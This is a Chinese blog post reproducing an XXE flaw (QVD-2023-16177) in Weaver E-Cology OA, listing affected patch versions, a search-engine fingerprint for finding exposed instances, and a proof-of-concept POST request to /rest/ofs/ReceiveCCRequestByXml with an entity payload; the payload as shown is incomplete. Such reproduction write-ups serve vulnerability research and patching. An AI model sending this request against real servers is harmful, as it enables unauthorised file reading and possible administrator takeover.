泛微E-Cology XXE漏洞复现(QVD-2023-16177)

0xSecl

已于 2023-07-23 13:59:42 修改

阅读量5.9k

点赞数 2

分类专栏：漏洞复现文章标签：安全 web安全网络安全

于 2023-07-23 13:17:51 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/131878446

版权

736 篇文章 1195 订阅 ¥9.90 ¥99.00

订阅专栏

泛微协同管理应用平台E-Cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。

泛微e-cology某处功能点最初针对用户输入的过滤不太完善，导致在处理用户输入时可触发XXE。后续修复规则依旧可被绕过，本次漏洞即为之前修复规则的绕过。攻击者可利用该漏洞列目录、读取文件，甚至可能获取应用系统的管理员权限。

泛微 EC 9.x 且补丁版本 < 10.58.2

泛微 EC 8.x 且补丁版本 < 10.58.2

鹰图指纹：app.name="泛微 e-cology 9.0 OA"

PoC

POST /rest/ofs/ReceiveCCRequestByXml HTTP/1.1
Host: your-ip
Content-Type: application/xml

<M><syscode>&send;</syscode></M>

出现以上响应则存在漏洞

exp1

了解本专栏

关注